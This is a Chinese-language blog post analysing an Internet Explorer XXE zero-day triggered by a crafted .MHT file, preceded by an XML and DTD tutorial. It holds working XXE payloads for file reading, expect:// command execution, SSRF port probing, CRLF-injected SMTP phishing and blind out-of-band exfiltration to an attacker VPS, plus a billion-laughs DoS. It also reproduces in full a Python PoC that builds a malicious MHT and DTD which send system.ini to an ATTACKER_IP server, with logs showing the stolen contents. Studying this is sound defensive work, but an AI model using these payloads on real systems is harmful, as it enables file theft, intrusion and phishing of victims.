XXE

Internet Explorer XXE 0-day exploit

XXE

Posted by DC on April 24, 2019

Internet Explorer XXE 0-day exploit

简介:

Internet Explorer是Microsoft开发的一系列Web浏览器,预装在Microsoft Windows系列操作系统中,诱导受害者打开特制的.MHT文件,则会造成Internet Explorer易受XXE攻击,从而实现远程获取受害者本地文件泄漏信息例如安装的程序版本信息等。

XXE说明:

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载。

xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

xxe也就是xml外部实体注入。构建实体注入方式:

  1. 直接通过DTD外部实体声明
  2. 通过DTD文档引入外部DTD文档,再引入外部实体声明
  3. 通过DTD外部实体声明引入外部实体声明

xml文档的基础组成:

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

XML被设计为传输和存储数据,其焦点是数据的内容。

HTML被设计用来显示数据,其焦点是数据的外观。

<?xml version="1.0">     XML声明

<?DOCTYPE note [                              文档类型定义
	<!ELEMENT note (to,from,heading,body)>
	<!ELEMENT to   (#PCDATA)>
	<!ELEMENT from (#PCDATA)>
	<!ELEMENT heading  (#PCDATA)>
	<!ELEMENT body   (#PCDATA)>
]>

<note>                                      文档元素
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Aaaaaaaaaaaaaaaa</body>
</note>

主要有几个构建模块组成:

  1. 元素

    元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的。

    <body>body text in between</body>
    <message>some message in between</message>
    body、message为元素
    
  2. 属性

    属性可提供有关元素的额外信息

    <img src="computer.gif" />
    
  3. 实体

    实体是对数据的引用,XML 解析器将使用实体的替代文本或者外部文档的内容来替代实体引用,所有实体(除参数实体外)都以一个与字符(&)开始,以一个分号(;)结束

    • 字符实体:

      &amp;是一个与字符
      大写字母 A 是 Unicode 字符 U+0065。如果想将其表示为一个字符实体,可以输入 &#65;(十进制值)或 &#x41;
      
    • 命名实体(内部实体):命名实体在 DTD 或内部子集(即文档中 <!DOCTYPE> 语句的一部分)中声明,在文档中用作引用。相当于宏

      <!ENTITY c "Chris">  声明
      <!ENTITY ch "&c; Herborth"> 引用了另一个实体
      
    • 外部实体:外部实体表示外部文件的内容。

      <!ENTITY chap1 SYSTEM "chapter-1.xml">
      <!ENTITY chap2 SYSTEM "chapter-2.xml">
      <!ENTITY chap3 SYSTEM "chapter-3.xml">
           
      <?xml version="1.0" encoding="utf-8"?>
      <!-- Pull in the chapter content: -->
      &chap1;
      &chap2;
      &chap3;
      
    • 参数实体:参数实体只用于 DTD 和文档的内部子集中。它们使用百分号(%)而不是与字符,可以是命名实体或外部实体。

      <!ENTITY % attrs "%coreattrs; %i18n; %events;">
      <!ENTITY % coreattrs
       "id          ID             #IMPLIED
        class       CDATA          #IMPLIED
        style       %StyleSheet;   #IMPLIED
        title       %Text;         #IMPLIED"
        >
      <!ENTITY % i18n
       "lang        %LanguageCode; #IMPLIED
        xml:lang    %LanguageCode; #IMPLIED
        dir         (ltr|rtl)      #IMPLIED"
        >
      
  4. PCDATA:

    PCDATA 的意思是被解析的字符数据(parsed character data)。可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。

    if(a&gt;b){  
    System.out.println(a);  
    } 
    
  5. CDATA CDATA 的意思是字符数据(character data)。 CDATA 是不会被解析器解析的文本。

    &lt; <
    &gt; >
    &amp; &
    &quot; "
    &apos; '
       
    <![CDATA[ 
    if(a>b){ 
    System.out.println(a); 
    } 
    ]]> 
    

DTD(文档类型定义)

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。可以在 XML 文档内声明,也可以外部引用

  1. 内部声明:<!DOCTYPE 根元素 [元素声明]> ex: <!DOCTYOE test any>
<?xml version="1.0"?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>
  1. 外部声明(引用外部DTD):

    <!DOCTYPE 根元素 SYSTEM "文件名">
    ex:`<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>`
       
       
    <?xml version="1.0"?>
    <!DOCTYPE note SYSTEM "note.dtd">
    <note>
    <to>George</to>
    <from>John</from>
    <heading>Reminder</heading>
    <body>Don't forget the meeting!</body>
    </note> 
       
    note.dtd的内容为:
    <!ELEMENT note (to,from,heading,body)>
    <!ELEMENT to (#PCDATA)>
    <!ELEMENT from (#PCDATA)>
    <!ELEMENT heading (#PCDATA)>
    <!ELEMENT body (#PCDATA)>
    

DTD实体 DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用

  1. 内部实体声明:<!ENTITY 实体名称 “实体的值”> ex:<!ENTITY eviltest "eviltest">

    <?xml version="1.0"?>
    <!DOCTYPE test [
    <!ENTITY writer "Bill Gates">
    <!ENTITY copyright "Copyright W3School.com.cn">
    ]>
       
    <test>&writer;&copyright;</test>
    
  2. 外部实体声明:<!ENTITY 实体名称 SYSTEM “URI”>

    <?xml version="1.0"?>
    <!DOCTYPE test [
    <!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
    <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
    ]>
       
    <author>&writer;&copyright;</author>
    

XXE构建外部实体注入

  1. 直接通过DTD外部实体声明

    <?xml version="1.0"?>
    <!DOCTYPE test [
        <!ENTITY b SYSTEM "file:////etc/passwd">
    ]>
    <c>&b;</c>
    
  2. 通过DTD文档引入外部DTD文档,再引入外部实体声明

    <?xml version="1.0"?>
    <!DOCTYPE test [
        <!ENTITY b SYSTEM "http://xxxxx.com/test.dtd">
    ]>
    <c>&b;</c>
        
    test.dtd:
        
    <!ENTITY b SYSTEM "file:////etc/passwd">
    
  3. 通过DTD外部实体声明引入外部实体声明

    <?xml version="1.0"?>
    <!DOCTYPE test [
        <!ENTITY % d SYSTEM "http://xxxxx.com/test.dtd"> 外部实体声明
        %d;
    ]>
    <c>&b;</c>
        
    test.dtd:
    <!ENTITY b SYSTEM "file:////etc/passwd">
    

XXE可攻击点:

  1. 读取任意文件

    <?xml version="1.0"?>
    <!DOCTYPE test [
        <!ENTITY b SYSTEM "file:////etc/passwd">
    ]>
    <c>&b;</c>.
    直接读取passwd 文件内容
    
  2. 命令执行

    <?xml version="1.0"?>
    <!DOCTYPE GVI [ <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "expect://id" >]>    <===============php expect模块加载在程序中
    <catalog>
       <core id="test101">
          <author>John, Doe</author>
          <title>I love XML</title>
          <category>Computers</category>
          <price>9.99</price>
          <date>2018-10-01</date>
          <description>&xxe;</description>   <===============调用
       </core>
    </catalog>
       
    返回数据
    {"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...
    
  3. 内网探测

    <?xml version="1.0"?>
    <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
    <catalog>
       <core id="test101">
          <author>John, Doe</author>
          <title>I love XML</title>
          <category>Computers</category>
          <price>9.99</price>
          <date>2018-10-01</date>
          <description>&xxe;</description>
       </core>
    </catalog>
       
    使用http URI并强制服务器向我们指定的端点和端口发送GET请求,将XXE转换为SSRF
       
    若8080端口close 则会报错回显
    
  4. 钓鱼方法:针对暴露的smtp服务,进行smtp协议请求

    例子:
    在扫描到内网25smtp服务
    在Java应用中下支持在sun.net.ftp.impl.FtpClient中的ftp URI。     这里仅借用ftp的数据发送接口(tcp流)
    因此,我们可以指定用户名和密码,进行ftp://user:password@host:port/test.txt。
    FTP客户端将在连接中发送相应的USER命令
       
    如果我们将%0D%0A (CRLF,回车换行)添加到URL的user部分的任意位置,我们就可以终止USER命令并向FTP会话中注入一个新的命令,即允许我们向25端口发送任意的SMTP命令:
       
       
       
    ftp://a%0D%0A
    EHLO%20a%0D%0A
    MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A
    RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A
    DATA%0D%0A
    From%3A%20support%40VULNERABLESYSTEM.com%0A
    To%3A%20victim%40gmail.com%0A
    Subject%3A%20test%0A
    %0A
    test!%0A
    %0D%0A
    .%0D%0A
    QUIT%0D%0A
    :a@VULNERABLESYSTEM.com:25
       
    解析如下:
    ftp://a
    EHLO a
    MAIL FROM: <support@VULNERABLESYSTEM.com>
    RCPT TO: <victim@gmail.com>
    DATA
    From: support@VULNERABLESYSTEM.com
    To: victim@gmail.com
    Subject: Reset your password
    We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com
    .
    QUIT
    :support@VULNERABLESYSTEM.com:25
    
  5. Blind XXE

    如果服务器没有回显,只能使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据。

    1. 客户端发送payload 1给web服务器

    2. web服务器向vps获取恶意DTD,并执行文件读取payload2

    3. web服务器带着回显结果访问VPS上特定的FTP或者HTTP

    4. 通过VPS获得回显(nc监听端口)

本地payload 1
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://vps/test.xml"> %remote;]>

test.xml
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://VPS:21/%payload;'>">
%int;
%trick;

这个是先将SYSTEM的file协议读取到的内容赋值给参数实体%payload,第二步是一个实体嵌套,trick是远程访问ftp协议所携带的内容
  1. dos

    <?xml version="1.0"?>
       <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>
    

漏洞复现:

1.生成mht、服务端的xml python poc.py

20190418180256.jpg

生成 2019/04/16 17:30 256 datatears.xml 2019/04/16 17:30 1,072 msie-xxe-0day.mht 两个文件

2.开启服务端,在当前目录下。 python -m SimpleHTTPServer

20190418180818.jpg

Serving HTTP on 0.0.0.0 port 8000 … 127.0.0.1 - - [18/Apr/2019 17:33:34] “GET /msie-xxe-0day.mht HTTP/1.1” 200 -

通过http服务,下载 msie-xxe-0day.mht 文件

msie-xxe-0day.mht内容如下:

From:
Subject:
Date:
MIME-Version: 1.0
Content-Type: multipart/related; type="text/html";
	boundary="=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001"
This is a multi-part message in MIME format.


--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001
Content-Type: text/html; charset="UTF-8"
Content-Location: main.htm

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>MSIE XXE 0day</title>
</head>
<body>
<xml>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://localhost:8000/datatears.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
<r>&exfil;</r>
<r>&exfil;</r>
<r>&exfil;</r>
</xml>
<script>window.print();</script>
<table cellpadding="0" cellspacing="0" border="0">
<tr>
<td class="contentcell-width">
<h1>MSIE XML External Entity 0day PoC.</h1>
<h3>Discovery: hyp3rlinx</h3>
<h3>ApparitionSec</h3>
</td>
</tr>
</table>
</body>
</html>


--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001--

使用IE11 打开 msie-xxe-0day.mht 文件 成功,读取了c://windows/system.ini 文件的内容 20190418181358.jpg 20190418181600.jpg

Serving HTTP on 0.0.0.0 port 8000 … 127.0.0.1 - - [18/Apr/2019 17:59:50] “GET /datatears.xml HTTP/1.1” 200 - 127.0.0.1 - - [18/Apr/2019 17:59:51] “GET /?;%20for%2016-bit%20app%20support[386Enh]woafont=dosapp.fonEGA80WOA.FON=EGA80WOA.FONEGA40WOA.FON=EGA40WOA.FONCGA80WOA.FON=CGA80xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxFON[drivers]wave=mmdrv.dlltimer=timer.drv[mci] HTTP/1.1” 200 -

成功获取,目标机相关信息,不过在诱导下载和启动上,需要一定的迷惑技巧

生成利用文件的poc如下:

#Microsoft Internet Explorer XXE 0day
#Creates malicious XXE .MHT and XML files
#Open the MHT file in MSIE locally, should exfil system.ini
#By hyp3rlinx
#ApparitionSec

ATTACKER_IP="localhost"
PORT="8000"

mht_file=(
'From:\n'
'Subject:\n'
'Date:\n'
'MIME-Version: 1.0\n'
'Content-Type: multipart/related; type="text/html";\n'
'\tboundary="=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001"\n'
'This is a multi-part message in MIME format.\n\n\n'

'--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001\n'
'Content-Type: text/html; charset="UTF-8"\n'
'Content-Location: main.htm\n\n'

'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/transitional.dtd">\n'
'<html>\n'
'<head>\n'
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />\n'
'<title>MSIE XXE 0day</title>\n'
'</head>\n'
'<body>\n'
'<xml>\n'
'<?xml version="1.0" encoding="utf-8"?>\n'
'<!DOCTYPE r [\n'
'<!ELEMENT r ANY >\n'
'<!ENTITY % sp SYSTEM "http://'+str(ATTACKER_IP)+":"+PORT+'/datatears.xml">\n'
'%sp;\n'
'%param1;\n'
']>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'</xml>\n'
'<script>window.print();</script>\n'
'<table cellpadding="0" cellspacing="0" border="0">\n'
'<tr>\n'
'<td class="contentcell-width">\n'
'<h1>MSIE XML External Entity 0day PoC.</h1>\n'
'<h3>Discovery: hyp3rlinx</h3>\n'
'<h3>ApparitionSec</h3>\n'
'</td>\n'
'</tr>\n'
'</table>\n'
'</body>\n'
'</html>\n\n\n'

'--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001--'
)

xml_file=(
'<!ENTITY % data SYSTEM "c:\windows\system.ini">\n'
'<!ENTITY % param1 "<!ENTITY exfil SYSTEM \'http://'+str(ATTACKER_IP)+":"+PORT+'/?%data;\'>">\n'
'<!ENTITY % data SYSTEM "file:///c:/windows/system.ini">\n'
'<!ENTITY % param1 "<!ENTITY exfil SYSTEM \'http://'+str(ATTACKER_IP)+":"+PORT+'/?%data;\'>">\n'
)

def mk_msie_0day_filez(f,p):
    f=open(f,"wb")
    f.write(p)
    f.close()


if __name__ == "__main__":
    mk_msie_0day_filez("msie-xxe-0day.mht",mht_file)
    mk_msie_0day_filez("datatears.xml",xml_file)
    print "Microsoft Internet Explorer XML External Entity 0day PoC."
    print "Files msie-xxe-0day.mht and datatears.xml Created!."
    print "Discovery: Hyp3rlinx / Apparition Security"

漏洞分析:

首先触发漏洞的利用文件为MNT文件。

网页归档(英语:MIME HTML或MIME Encapsulation of Aggregate HTML Documents,缩写mhtml。又称单一文件网页或网页封存文件)为以多用途互联网邮件扩展格式,将一个多附件网页(如包含大量图片、Flash动画、Java小程序的网页)存储为单一文件[1],可用于发送HTML电子邮件,此单一文件即称为一网页封存文件,其扩展名为.mht。这种格式有时被简称为MHT。
Internet Explorer
Microsoft Internet Explorer自5.0版支持MHTML格式,是第一个支持MHTML文件的浏览器。


MHTML文件的格式如下:

Subject:標題
Date: Wed, 15 Dec 2004 10:05:01 +1000
Content-Type: multipart/related;
Content-Transfer-Encoding: quoted-printable
Content-Location: file://C:/fishier.html
This is a multi-part message in MIME format.

Content-Type: text/html;
<HTML>
 <HEAD>
  <TITLE>Title</TITLE>
 </HEAD>
 <BODY>
   ...
 </BODY>
</HTML>

Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-Location: file://C:/image.gif
RHLJbDYX0KhHzv7yGcCgghhgHLJbDYX0KhHzv7yGcChkNdjn+Nfn+NXm98/i98rf9sfe9b/Z9L3X
87fU8qP8afL8AHzvfg7yGcChkNIwMZHLJbDYX0KhHzv37yGcChkNIw2Oj5AAAZIAlhAAACwAAAAA
er8JhHg8PhgQBrPZwG673+6CoUCv2+91gn5PGPT7fgOCg4SFhQKIiYoCAY2Oj5AAAZIAlJWXACEA
4SFh==
其中Subject为文档标题,Content-Type为文件的MIME属性,Content-Location为原始文件的地址,Content-Transfer-Encoding为编码格式。

漏洞利用poc生成的mht文件

From:
Subject:
Date:
MIME-Version: 1.0
Content-Type: multipart/related; type="text/html";
	boundary="=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001"
This is a multi-part message in MIME format.


--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001
Content-Type: text/html; charset="UTF-8"
Content-Location: main.htm

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>MSIE XXE 0day</title>
</head>
<body>
<xml>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://localhost:8000/datatears.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
<r>&exfil;</r>
<r>&exfil;</r>
<r>&exfil;</r>
</xml>
<script>window.print();</script>
<table cellpadding="0" cellspacing="0" border="0">
<tr>
<td class="contentcell-width">
<h1>MSIE XML External Entity 0day PoC.</h1>
<h3>Discovery: hyp3rlinx</h3>
<h3>ApparitionSec</h3>
</td>
</tr>
</table>
</body>
</html>


--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001--

可以看出,通过mht 嵌入典型的 xml 部分,通过外部实体调用http://localhost:8000/datatears.xml,可见IE11对于通过mht 嵌入的xml解析上并没有限制外部实体引用,从而导致可以触发XXE

datatears.xml文件

<!ENTITY % data SYSTEM "c:\windows\system.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://localhost:8000/?%data;'>">
<!ENTITY % data SYSTEM "file:///c:/windows/system.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://localhost:8000/?%data;'>">

获取c:\windows\system.ini,通过http请求,将数据发送回来。

参考链接:

https://www.freebuf.com/articles/web/177979.html

https://www.cnblogs.com/r00tuser/p/7255939.html

https://www.ibm.com/developerworks/cn/xml/x-entities/index.html